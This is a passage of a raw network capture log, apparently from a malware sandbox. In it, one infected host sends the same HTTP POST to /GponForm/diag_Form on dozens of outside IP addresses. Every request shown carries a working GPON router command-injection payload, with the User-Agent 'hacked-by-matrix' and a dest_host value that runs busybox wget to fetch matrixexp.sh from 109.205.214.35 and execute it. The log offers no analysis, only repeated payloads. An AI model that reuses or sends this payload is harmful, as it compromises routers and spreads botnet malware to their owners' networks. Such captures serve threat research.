Mar 21, 2024 05:17:45.715411901 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
594	192.168.2.13	58644	94.52.177.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715440989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
595	192.168.2.13	47446	210.130.229.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715467930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
596	192.168.2.13	38666	94.26.175.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715497017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	52028	79.245.54.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715523005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	47656	210.148.66.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715544939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	44246	178.25.140.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715559006 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	59606	37.216.145.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715578079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	47362	79.124.36.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715579033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	47872	109.109.195.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715636969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	50776	210.45.156.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715636969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	51068	79.9.127.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715692043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	44962	109.242.17.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715692043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	59026	2.211.217.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715723038 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	56516	79.145.49.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715745926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	38646	178.201.20.196	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715800047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	49758	37.82.73.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715827942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	58666	42.191.140.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715857029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	54782	94.4.137.108	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715929031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	47846	212.102.132.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715945005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	37966	178.126.20.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.715965986 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	52550	94.220.204.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.716063976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	46660	109.198.167.62	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.716094971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	58440	109.244.199.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:45.716260910 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.13	43880	212.138.203.242	443

Timestamp	Bytes transferred	Direction	Data
